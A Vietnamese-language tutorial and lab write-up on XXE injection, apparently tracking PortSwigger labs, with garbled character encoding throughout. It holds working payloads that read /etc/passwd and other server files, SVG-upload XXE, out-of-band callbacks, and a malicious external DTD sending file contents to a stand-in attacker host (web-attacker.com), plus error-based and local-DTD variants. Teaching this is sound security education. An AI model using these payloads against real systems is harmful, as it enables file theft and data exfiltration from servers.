๐XML external entity (XXE) injection
Khรกi niแปm, cรกc lแป hแปng vร bแบฃo vแป
Chรบng ta sแบฝ xem doc trฦฐแปc khi bฦฐแปc vร o thแปฑc hร nh lab.

XML lร ngรดn ngแปฏ ฤรกnh dแบฅu mแป rแปng, nรณ ฤฦฐแปฃc sแปญ dแปฅng rแปng rรฃi, ฤฦฐแปฃc phรกt triแปn ฤแป lฦฐu truwxx vร truyแปn dแปฏ liแปu. Hiแปn nay cรณ rแบฅt nhiแปu loแบกi tร i liแปu sแปญ dแปฅng ฤแปnh dแบกng XML nhฦฐ rtf, pdf, tแปp hรฌnh แบฃnh (svg) hay cรกc file cแบฅu hรฌnh.
Cแบฅu trรบc XML lร cรกc thร nh phแบงn cฦก bแบฃn cแปงa ngรดn ngแปฏ ฤรกnh dแบฅu tร i liแปu XML (Extensible Markup Language). XML ฤฦฐแปฃc sแปญ dแปฅng ฤแป mรด tแบฃ vร trao ฤแปi dแปฏ liแปu giแปฏa cรกc แปฉng dแปฅng khรกc nhau. XML sแปญ dแปฅng cรกc thแบป ฤแป xรกc ฤแปnh cแบฅu trรบc cแปงa tร i liแปu vร nแปi dung cแปงa nรณ.
Cรกc thร nh phแบงn cฦก bแบฃn cแปงa cแบฅu trรบc XML bao gแปm:
Khai bรกo XML: Khai bรกo XML lร mแปt chuแปi ฤแปnh dแบกng ฤแป chแป ra rแบฑng tร i liแปu lร mแปt tร i liแปu XML. Khai bรกo XML phแบฃi ฤฦฐแปฃc ฤแบทt แป ฤแบงu cแปงa tร i liแปu vร cรณ ฤแปnh dแบกng nhฦฐ sau:
<?xml version="1.0" encoding="UTF-8"?>Thแบป: Thแบป lร cรกc khแปi xรขy dแปฑng chรญnh cแปงa tร i liแปu XML. Chรบng ฤฦฐแปฃc sแปญ dแปฅng ฤแป xรกc ฤแปnh nแปi dung cแปงa tร i liแปu. Mแปt thแบป bao gแปm thแบป mแป, thแบป ฤรณng vร nแปi dung nแบฑm giแปฏa chรบng. Vรญ dแปฅ:
<book>
<title>The Lord of the Rings</title>
<author>J.R.R. Tolkien</author>
<year>1954</year>
</book>Thuแปc tรญnh: Thuแปc tรญnh ฤฦฐแปฃc sแปญ dแปฅng ฤแป cung cแบฅp thรดng tin bแป sung vแป mแปt phแบงn tแปญ. Chรบng cรณ thแป ฤฦฐแปฃc sแปญ dแปฅng ฤแป xรกc ฤแปnh cรกc thuแปc tรญnh cแปงa phแบงn tแปญ hoแบทc ฤแป truyแปn tแบฃi thรดng tin bแป sung. Thuแปc tรญnh cรณ thแป ฤฦฐแปฃc xรกc ฤแปnh trong thแบป mแป cแปงa phแบงn tแปญ. Vรญ dแปฅ:
<book id="123">
<title>The Hobbit</title>
<author>J.R.R. Tolkien</author>
<year>1937</year>
</book>Chรบ thรญch: Chรบ thรญch ฤฦฐแปฃc sแปญ dแปฅng ฤแป thรชm thรดng tin giแบฃi thรญch cho tร i liแปu XML. Chรบ thรญch bแบฏt ฤแบงu bแบฑng cแบทp kรฝ tแปฑ "<!--". Chรบ thรญch khรดng แบฃnh hฦฐแปng ฤแบฟn nแปi dung cแปงa tร i liแปu. Vรญ dแปฅ:
<!-- ฤรขy lร mแปt chรบ thรญch -->Khรดng gian tรชn: Khรดng gian tรชn ฤฦฐแปฃc sแปญ dแปฅng ฤแป phรขn biแปt cรกc phแบงn tแปญ cรณ cรนng tรชn nhฦฐng thuแปc cรกc khรดng gian tรชn khรกc nhau. Khรดng gian tรชn cรณ thแป ฤฦฐแปฃc xรกc ฤแปnh trong khai bรกo XML hoแบทc trong thแบป mแป cแปงa phแบงn tแปญ. Vรญ dแปฅ:
<books xmlns:bk="http://example.com/books">
<bk:book>
<bk:title>The Fellowship of the Ring</bk:title>
<bk:author>J.R.R. Tolkien</bk:author>
<bk:year>1954</bk:year>
</bk:book>
</books>ฤรขy lร cแบฅu trรบc cฦก bแบฃn cแปงa tร i liแปu XML, cho phรฉp xรกc ฤแปnh nแปi dung vร cแบฅu trรบc cแปงa tร i liแปu, cลฉng nhฦฐ thรชm thรดng tin bแป sung vแป dแปฏ liแปu mร nรณ chแปฉa.
XML Document Type Definition (DTD) lร mแปt tแบญp tin vฤn bแบฃn ฤแปnh nghฤฉa cแบฅu trรบc, cรกc phแบงn tแปญ vร thuแปc tรญnh cแปงa mแปt tร i liแปu XML. DTD ฤฦฐแปฃc sแปญ dแปฅng ฤแป xรกc ฤแปnh cรกch mร cรกc phแบงn tแปญ vร thuแปc tรญnh phแบฃi ฤฦฐแปฃc sแปญ dแปฅng trong tร i liแปu XML, cลฉng nhฦฐ cรกc quy tแบฏc mร phแบฃi tuรขn thแปง khi tแบกo tร i liแปu XML.
Vรญ dแปฅ, ฤoแบกn mรฃ XML sau ฤรขy sแปญ dแปฅng mแปt DTD ฤแป ฤแปnh nghฤฉa cแบฅu trรบc cแปงa mแปt tร i liแปu XML ฤฦกn giแบฃn:
<!DOCTYPE mydocument [
<!ELEMENT mydocument (title, author, content)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT content (#PCDATA)>
]>
<mydocument>
<title>This is the title</title>
<author>John Doe</author>
<content>This is the content</content>
</mydocument>Trong vรญ dแปฅ nร y, DTD ฤฦฐแปฃc ฤแปnh nghฤฉa bรชn trong khai bรกo DOCTYPE. Nรณ ฤแปnh nghฤฉa rแบฑng tร i liแปu XML phแบฃi chแปฉa ba phแบงn tแปญ: "title", "author" vร "content", theo thแปฉ tแปฑ nhฦฐ vแบญy. Mแปi phแบงn tแปญ nร y chแป cรณ thแป chแปฉa dแปฏ liแปu vฤn bแบฃn, ฤฦฐแปฃc ฤแปnh nghฤฉa bแบฑng cรกch sแปญ dแปฅng kรฝ tแปฑ ฤแบกi diแปn #PCDATA.
ฤแป xแปญ lรฝ ฤฦฐแปฃc file xml, mแปi แปฉng dแปฅng ฤแปu cแบงn phแบฃi cรณ mแปt XML parser (cรฒn ฤฦฐแปฃc gแปi lร XML processor) ฤแป xแปญ lรฝ file xml vร ฤฦฐa ra output. Khi chรบng ta khai bรกo mแปt entity, parser sแบฝ tแปฑ ฤแปng thay thแบฟ giรก trแป cแปงa entity vร o nฦกi entity ฤฦฐแปฃc khi bรกo.
Request:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///c:/boot.ini" >]>
<foo>&bar;</foo>Response:
[boot loader]
timeout=5
default=multi(0)disk(0)rdisk(1)partition(1)\WINDOWS
[operating systems]Chรบng ta cรณ thแป thแบฅy trong phแบงn DOCTYPE declaration, ngoร i khai bรกo nhแปฏng elements , nรณ khai bรกo thรชm mแปt URI (trong XML thรฌ URI ฤฦฐแปฃc hiแปu lร mแปt system identifier) trแป ฤแบฟn file c:/boot.ini. External entity ฤฦฐแปฃc ฤแบทt tรชn bar vร ฤฦฐแปฃc chแป ฤแปnh trแบฃ vแป thรดng qua <foo>&bar;</foo>
Vแปi XXE attack, tรดi sแบฝ cรณ thแป gแบทp cรกc dแบกng phแป biแบฟn sau:
Khai thรกc XXE ฤแป trรญch xuแบฅt file: ฤแปnh nghฤฉa external entity chแปฉa nแปi dung cแปงa 1 file vร trแบฃ vแป trong response;
Khai thรกc XXE ฤแป thแปฑc thi SSRF attacks: ฤแปnh nghฤฉa external entity dแปฑa vร o URL ฤแบฟn back-end system;
Khai thรกc blind XXE ฤแป hแปt dแปฏ liแปu theo kiแปu out-of-band: Truyแปn tแบฃi dแปฏ liแปu nhแบกy cแบฃm tแปซ server ฤแบฟn hแป thแปng mร attacker cรณ thแป kiแปm soรกt;
Khai thรกc blind XXE ฤแป trรญch xuแบฅt dแปฏ liแปu thรดng qua thรดng bรกo lแปi: Lร m phรกt sinh parsing error message chแปฉa thรดng tin nhแบกy cแบฃm.
Hแบงu nhฦฐ tแบฅt cแบฃ cรกc lแป hแปng XXE phรกt sinh do thฦฐ viแปn phรขn tรญch cรบ phรกp XML cแปงa แปฉng dแปฅng hแป trแปฃ cรกc tรญnh nฤng XML nguy hiแปm tiแปm แบฉn mร แปฉng dแปฅng khรดng cแบงn hoแบทc khรดng cรณ รฝ ฤแปnh sแปญ dแปฅng. Cรกch dแป nhแบฅt vร hiแปu quแบฃ nhแบฅt ฤแป ngฤn chแบทn cรกc cuแปc tแบฅn cรดng cแปงa XXE lร tแบฏt cรกc tรญnh nฤng ฤรณ. Nรณi chung, chแป cแบงn vรด hiแปu hรณa ฤแป phรขn giแบฃi cแปงa cรกc thแปฑc thแป bรชn ngoร i vร vรด hiแปu hรณa hแป trแปฃ cho XInclude lร ฤแปง. ฤiแปu nร y thฦฐแปng cรณ thแป ฤฦฐแปฃc thแปฑc hiแปn thรดng qua cรกc tรนy chแปn cแบฅu hรฌnh hoแบทc bแบฑng cรกch ghi ฤรจ hร nh vi mแบทc ฤแปnh theo chฦฐฦกng trรฌnh. Tham khแบฃo tร i liแปu vแป thฦฐ viแปn phรขn tรญch cรบ phรกp XML hoแบทc API cแปงa bแบกn ฤแป biแบฟt chi tiแบฟt vแป cรกch tแบฏt cรกc chแปฉc nฤng khรดng cแบงn thiแบฟt.
Lab
Chรบng ta ฤแป khi รฝ khi truy cแบญp trang web cรณ mแปt nรบt check xem sแป lฦฐแปฃng sแบฃn phแบฉm cรฒn lแบกi lร bao nhiรชu.


Dรนng burp suite ฤแป check thรฌ chรบng ta sแบฝ cรณ req vร res nhฦฐ trรชn. Vร chรบng ta tแปฑ ฤแบทt ra giแบฃi thuyแบฟt rแบฑng nแบฟu thรชm mแปt external entity vร o giแปฏa XML declaration vร stock element.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Sau ฤรณ thay 1 thร nh &xxe, kiแปu nhฦฐ nร y:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe</productId>
<storeId>1</storeId>
</stockCheck>Solve:

Nhฦฐ tiรชu ฤแป แป ฤรขy chรบng ta cแบงn phแบฃi khai thรกc lแป hแปng XXE thรดng qua SSRF, nแบฟu chฦฐa biแบฟt tแปi ssrf thรฌ cรณ thแป xem แป bร i gแบงn nhแบฅt trong mแปฅc server-side.

Chรบng ta sแบฝ vแบซn dรนng burp suite ฤแป bแบฏt cรกc request:


Mแปi lแบงn req thรฌ mแปi nรณ sแบฝ bรกo lแปi kรจm theo endpoint mร chรบng ta cแบงn. Cho tแปi khi lแบฅy ฤฦฐแปฃc full dแปฏ liแปu tแบกi endpoint cuแปi.

XInclude lร mแปt tiรชu chuแบฉn cแปงa W3C ฤฦฐแปฃc sแปญ dแปฅng trong tร i liแปu XML ฤแป tham chiแบฟu ฤแบฟn cรกc phแบงn khรกc cแปงa tร i liแปu hoแบทc cรกc tร i liแปu khรกc vร chรจn chรบng vร o tร i liแปu hiแปn tแบกi. XInclude cho phรฉp tรกch tร i liแปu thร nh cรกc phแบงn nhแป hฦกn ฤแป quแบฃn lรฝ vร tรกi sแปญ dแปฅng nรณ trong cรกc tร i liแปu khรกc.
XInclude ฤฦฐแปฃc ฤแปnh nghฤฉa bแบฑng cรกc phแบงn tแปญ vร thuแปc tรญnh mแปi, bao gแปm:
<xi:include> phแบงn tแปญ: ฤฦฐแปฃc sแปญ dแปฅng ฤแป tham chiแบฟu ฤแบฟn tร i liแปu hoแบทc phแบงn cแปงa tร i liแปu khรกc vร chรจn chรบng vร o tร i liแปu hiแปn tแบกi. Nรณ cรณ thแป cรณ mแปt sแป thuแปc tรญnh, bao gแปm "href" ฤแป chแป ฤแปnh ฤฦฐแปng dแบซn ฤแบฟn tร i liแปu ฤฦฐแปฃc chรจn, "parse" ฤแป chแป ฤแปnh cรกch tร i liแปu ฤฦฐแปฃc phรขn tรญch, vร "xpointer" ฤแป chแป ฤแปnh phแบงn cแปงa tร i liแปu ฤฦฐแปฃc chรจn.
<xi:fallback> phแบงn tแปญ: ฤฦฐแปฃc sแปญ dแปฅng ฤแป ฤแปnh nghฤฉa mแปt phแบงn tแปญ dแปฑ phรฒng nแบฟu tร i liแปu khรดng hแป trแปฃ XInclude.
Vรญ dแปฅ, ฤoแบกn mรฃ sau ฤรขy minh hแปa cรกch sแปญ dแปฅng XInclude ฤแป chรจn mแปt tร i liแปu XML vร o tร i liแปu hiแปn tแบกi:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root (content)>
<!ELEMENT content (#PCDATA)>
]>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="xml"/>
</root>Trong ฤรณ, phแบงn tแปญ <xi:include> ฤฦฐแปฃc sแปญ dแปฅng ฤแป chรจn tร i liแปu XML ฤฦฐแปฃc chแป ฤแปnh trong thuแปc tรญnh "href" vร o tร i liแปu hiแปn tแบกi. Thuแปc tรญnh "parse" ฤฦฐแปฃc sแปญ dแปฅng ฤแป chแป ฤแปnh rแบฑng tร i liแปu ฤฦฐแปฃc chรจn cลฉng lร mแปt tร i liแปu XML.

Vแปi lab tiแบฟp theo chรบng ta thแบฅy ฤฦฐแปฃc lรบc nร y แป req truyแปn ฤi dแปฏ liแปu vแปi tham sแป chแปฉ khรดng phแบฃi xml. Tแปฑ hแปi rแบฑng cรณ thแป chรจn ฤฦฐแปฃc ฤoแบกn nร y vร o productId khรดng?
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
ฤoแบกn mรฃ XML trรชn chแปฉa mแปt phแบงn tแปญ XInclude tham chiแบฟu ฤแบฟn mแปt tร i nguyรชn bรชn ngoร i bแบฑng cรกch sแปญ dแปฅng mแปt ฤแปa chแป file URI. Cแปฅ thแป, phแบงn tแปญ "xi:include" xรกc ฤแปnh rแบฑng nรณ muแปn bao gแปm nแปi dung cแปงa mแปt tแปp tin nแบฑm tแบกi "/etc/passwd" trรชn hแป thแปng tแปp tin cแปฅc bแป. Thuแปc tรญnh "parse" ฤฦฐแปฃc ฤแบทt thร nh "text", cho biแบฟt rแบฑng tแปp ฤฦฐแปฃc bao gแปm sแบฝ ฤฦฐแปฃc xแปญ lรฝ nhฦฐ vฤn bแบฃn thuแบงn tรบy chแปฉ khรดng phแบฃi lร mแปt tร i liแปu XML.
Mแปi mแปฅc cแปงa bร i nร y ฤแปu cรณ ฤแป lแบกi cmt kรจm theo tแบฃi mแปt file avatar, chรบng ta sแบฝ khai thรกc lแป hแปng XXE qua upload
Trฦฐแปc hแบฟt chรบng ta cแบงn tแบฃi mแปt file แบฃnh ฤแปnh dแบกng svg vแป ฤแป up lรชn.

Sau khi upload sแบฝ nhฦฐ nร y, sau ฤรณ vร o burp suite vร chuyแปn sang chแบฟ ฤแป repeater vร chแป sแปญa ฤoแบกn svg thร nh nhฦฐ nร y:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>


Bร i nร y cลฉng giแปng cรกc bร i khรกc nhฦฐng nhฦฐ tiรชu ฤแป thรฌ chรบng ta khรดng nhแบญn ฤฦฐแปฃc kแบฟt quแบฃ. Vร vแบฅn ฤแป แป ฤรขy thแปญ xem nรณ cรณ tฦฐฦกng tรกc vแปi mแปt domain bรชn ngoร i khรดng?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "https://IP-request.com" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Tiแบฟp theo chรบng ta sแบฝ khai thรกc XXE thรดng qua XML parameter entities. Nแบฟu chฦฐa hiแปu nรณ lร gรฌ thรฌ ฤแบกi khรกi:
XML parameter entities lร mแปt loแบกi thแปฑc thแป trong XML ฤฦฐแปฃc sแปญ dแปฅng ฤแป ฤแปnh nghฤฉa cรกc tham sแป cรณ thแป ฤฦฐแปฃc sแปญ dแปฅng trong nแปi dung cแปงa tร i liแปu XML.
Mแปt parameter entity ฤฦฐแปฃc khai bรกo bแบฑng cรกch sแปญ dแปฅng cแบทp kรฝ tแปฑ % vร ;. ฤแป sแปญ dแปฅng mแปt parameter entity, bแบกn cแบงn ฤแบทt tรชn cแปงa nรณ giแปฏa cแบทp dแบฅu & vร ;.
Vรญ dแปฅ, ta cรณ thแป ฤแปnh nghฤฉa mแปt parameter entity companyname nhฦฐ sau:
<!ENTITY % companyname "ACME Corporation">Sau ฤรณ, ta cรณ thแป sแปญ dแปฅng parameter entity nร y trong nแปi dung cแปงa tร i liแปu XML nhฦฐ sau:
%companyname;Vแปi lab nร y thรฌ cรกch khai thรกc XXE vแปi entity thรดng thฦฐแปng thรฌ khรดng thแป vแบญy sแปญ dแปฅng parameter entity.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY %xxe SYSTEM "https://233aw8lpr0hryx6ksnuhpov2ptvjj8.oastify.com";> %xxe ]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
แป hai lab trรชn Blind XXE thรฌ nรณ hฦกi nแปญa nแบกc nแปญa mแปก chฦฐa khai thรกc lแบฅy dแปฏ liแปu ฤฦฐแปฃc gรฌ, thรฌ trong lab nร y chรบng ta sแบฝ leak data mรกy chแปง ra vร gแปญi vแป server cแปงa chรบng ta bแบฑng cรกch tแบกo mแปt file DTD.
Tแบญn dแปฅng lแป hแปng XXE mรน ฤแป lแบฅy dแปฏ liแปu ra khแปi hแป thแปng thรดng qua kแปน thuแบญt out-of-band Phรกt hiแปn mแปt lแป hแปng XXE mรน thรดng qua kแปน thuแบญt out-of-band lร ฤiแปu quan trแปng, nhฦฐng nรณ chฦฐa thแปฑc sแปฑ cho thแบฅy cรกch lแป hแปng cรณ thแป bแป khai thรกc. ฤiแปu mร kแบป tแบฅn cรดng thแปฑc sแปฑ muแปn ฤแบกt ฤฦฐแปฃc lร lแบฅy ra dแปฏ liแปu nhแบกy cแบฃm. ฤiแปu nร y cรณ thแป ฤฦฐแปฃc thแปฑc hiแปn thรดng qua mแปt lแป hแปng XXE mรน, nhฦฐng nรณ ฤรฒi hแปi kแบป tแบฅn cรดng phแบฃi lฦฐu trแปฏ DTD ฤแปc hแบกi trรชn mแปt hแป thแปng mร hแป kiแปm soรกt, sau ฤรณ triแปu gแปi DTD ngoแบกi vi tแปซ XXE payload in-band.
Mแปt vรญ dแปฅ vแป DTD ฤแปc hแบกi ฤแป lแบฅy nแปi dung cแปงa file /etc/passwd nhฦฐ sau:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;DTD nร y thแปฑc hiแปn cรกc bฦฐแปc sau:
ฤแปnh nghฤฉa mแปt thแปฑc thแป tham sแป XML cรณ tรชn lร file, chแปฉa nแปi dung cแปงa file /etc/passwd.
ฤแปnh nghฤฉa mแปt thแปฑc thแป tham sแป XML cรณ tรชn lร eval, chแปฉa mแปt khai bรกo ฤแปng cแปงa thแปฑc thแป tham sแป XML khรกc cรณ tรชn exfiltrate. Thแปฑc thแป exfiltrate sแบฝ ฤฦฐแปฃc ฤรกnh giรก bแบฑng cรกch thแปฑc hiแปn mแปt yรชu cแบงu HTTP ฤแบฟn mรกy chแปง web cแปงa kแบป tแบฅn cรดng chแปฉa giรก trแป cแปงa thแปฑc thแป file trong chuแปi truy vแบฅn URL.
Sแปญ dแปฅng thแปฑc thแป eval, ฤiแปu nร y khiแบฟn cho khai bรกo ฤแปng cแปงa thแปฑc thแป exfiltrate ฤฦฐแปฃc thแปฑc hiแปn.
Sแปญ dแปฅng thแปฑc thแป exfiltrate, ฤแป giรก trแป cแปงa nรณ ฤฦฐแปฃc ฤรกnh giรก bแบฑng cรกch yรชu cแบงu URL ฤฦฐแปฃc chแป ฤแปnh.
Kแบป tแบฅn cรดng phแบฃi lฦฐu trแปฏ DTD ฤแปc hแบกi trรชn mแปt hแป thแปng mร hแป kiแปm soรกt, thฦฐแปng lร tแบฃi nรณ lรชn mรกy chแปง web cแปงa mรฌnh. Vรญ dแปฅ, kแบป tแบฅn cรดng cรณ thแป phแปฅc vแปฅ DTD ฤแปc hแบกi tแบกi URL sau:
http://web-attacker.com/malicious.dtd
Cuแปi cรนng, kแบป tแบฅn cรดng phแบฃi gแปญi XXE payload sau ฤแบฟn แปฉng dแปฅng dแป bแป tแบฅn cรดng:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>Payload XXE nร y khai bรกo mแปt thแปฑc thแป tham sแป XML cรณ tรชn xxe vร sau ฤรณ sแปญ dแปฅng thแปฑc thแป trong DTD. ฤiแปu nร y sแบฝ khiแบฟn trรฌnh phรขn tรญch XML tรฌm nแบกp DTD ngoแบกi vi tแปซ mรกy chแปง cแปงa kแบป tแบฅn cรดng vร diแป n giแบฃi nรณ ngay lแบญp tแปฉc. Cรกc bฦฐแปc ฤฦฐแปฃc ฤแปnh nghฤฉa trong DTD ฤแปc hแบกi sau ฤรณ ฤฦฐแปฃc thแปฑc hiแปn, vร file /etc/passwd ฤฦฐแปฃc truyแปn ฤแบฟn mรกy chแปง cแปงa kแบป tแบฅn cรดng.
Lฦฐu รฝ Kแปน thuแบญt nร y cรณ thแป khรดng hoแบกt ฤแปng vแปi mแปt sแป nแปi dung file, bao gแปm cรกc kรฝ tแปฑ xuแปng dรฒng trong file /etc/passwd. ฤiแปu nร y lร do mแปt sแป trรฌnh phรขn tรญch XML tรฌm nแบกp URL trong ฤแปnh nghฤฉa thแปฑc thแป ngoแบกi vi bแบฑng API kiแปm tra cรกc kรฝtแปฑ ฤฦฐแปฃc phรฉp xuแบฅt hiแปn trong URL. Trong tรฌnh huแปng nร y, cรณ thแป sแปญ dแปฅng giao thแปฉc FTP thay vรฌ HTTP. ฤรดi khi, sแบฝ khรดng thแป lแบฅy dแปฏ liแปu chแปฉa cรกc kรฝ tแปฑ xuแปng dรฒng, vร do ฤรณ mแปt file nhฦฐ /etc/hostname cรณ thแป ฤฦฐแปฃc mแปฅc tiรชu hฦฐแปng tแปi thay thแบฟ.

Bรขy giแป nhฦฐ mรฌnh giแบฃi thรญch แป trรชn sแบฝ tแบกo mแปt DTD vแปi nแปi dung file nhฦฐ trรชn.

Sau ฤรณ gแปญi lแบกi payload nhฦฐ cลฉ kรจm endpoint exploit.dtd ฤแป exploit server.
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "https://exploit-0aae00ff04a03ad7817a667a01200057.exploit-server.net/exploit.dtd" > %xxe;]>
Mแปt cรกch tiแบฟp cแบญn khรกc ฤแป khai thรกc XXE mรน lร kรญch hoแบกt mแปt lแปi phรขn tรญch XML trong ฤรณ thรดng bรกo lแปi chแปฉa dแปฏ liแปu nhแบกy cแบฃm mร bแบกn muแปn lแบฅy. ฤiแปu nร y sแบฝ hiแปu quแบฃ nแบฟu แปฉng dแปฅng trแบฃ vแป thรดng bรกo lแปi kแบฟt quแบฃ trong phแบฃn hแปi cแปงa nรณ.
Bแบกn cรณ thแป kรญch hoแบกt thรดng bรกo lแปi phรขn tรญch XML chแปฉa nแปi dung cแปงa tแปp /etc/passwd bแบฑng cรกch sแปญ dแปฅng mแปt DTD bรชn ngoร i ฤแปc hแบกi nhฦฐ sau:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;DTD nร y thแปฑc hiแปn cรกc bฦฐแปc sau:
Xรกc ฤแปnh XML parameter entity ฤฦฐแปฃc gแปi lร file, chแปฉa nแปi dung cแปงa tแปp /etc/passwd.
Xรกc ฤแปnh XML parameter entity ฤฦฐแปฃc gแปi lร eval, chแปฉa mแปt khai bรกo ฤแปng cแปงa mแปt XML parameter entity khรกc ฤฦฐแปฃc gแปi lร error. Entity lแปi sแบฝ ฤฦฐแปฃc xem xรฉt bแบฑng cรกch tแบฃi mแปt tแปp khรดng tแปn tแบกi cรณ tรชn chแปฉa giรก trแป cแปงa
fileentity.Sแปญ dแปฅng
evalentity, ฤiแปu nร y lร m cho khai bรกo ฤแปng cแปงa entity lแปi ฤฦฐแปฃc thแปฑc hiแปn.Sแปญ dแปฅng entity lแปi, ฤแป giรก trแป cแปงa nรณ ฤฦฐแปฃc ฤรกnh giรก bแบฑng cรกch cแป gแบฏng tแบฃi tแปp khรดng tแปn tแบกi, dแบซn ฤแบฟn thรดng bรกo lแปi chแปฉa tรชn cแปงa tแปp khรดng tแปn tแบกi, ฤรณ lร nแปi dung cแปงa tแปp /etc/passwd.
Gแปi DTD bรชn ngoร i ฤแปc hแบกi sแบฝ dแบซn ฤแบฟn thรดng bรกo lแปi nhฦฐ sau:
java.io.FileNotFoundException: /nonexistent/rootโ0:0:root:/root:/bin/bash daemonโ1:1:daemon:/usr/sbin:/usr/sbin/nologin binโ2:2:bin:/bin:/usr/sbin/nologin


Khi server cแปงa nแบกn nhรขn khรณa chแบทt out-of-band interaction nhแบฑm chแปng lแบกi phฦฐฦกng รกn trรญch xuแบฅt dแปฏ liแปu thรฌ chรบng ta cรณ thแป sแปญ dแปฅng external DTD แป local.
Chรบng ta sแบฝ ฤi vร o lab ฤแป hiแปu rรต hฦกn. Vแบซn nhฦฐ cลฉ lab vแบซn cho chรบng ta check sแป liแปu.

ฤรบng ta sแบฝ cรณ ฤoแบกn paylaod sau:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>แป ฤรขy ฤฦฐแปng dแบซn lร m sao biแบฟt ฤฦฐแปฃc thรฌ vรญ dแปฅ Yelp Help Browser cho GNOME trรชn Linux thรฌ ฤฦฐรฒng dแบซn sแบฝ โusr/share/yelp/dtd/docbookx.dtd
Cรณ thแป check bแบฑng payload nร y: [Nแบฟu sinh lแปi thรฌ ฤฦฐแปng dแบซn sai]
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
End
Cแบฃm ฦกn mn ฤรฃ ฤแปc bร i!! Hแบนn mn cรกc bร i research khรกc....
Last updated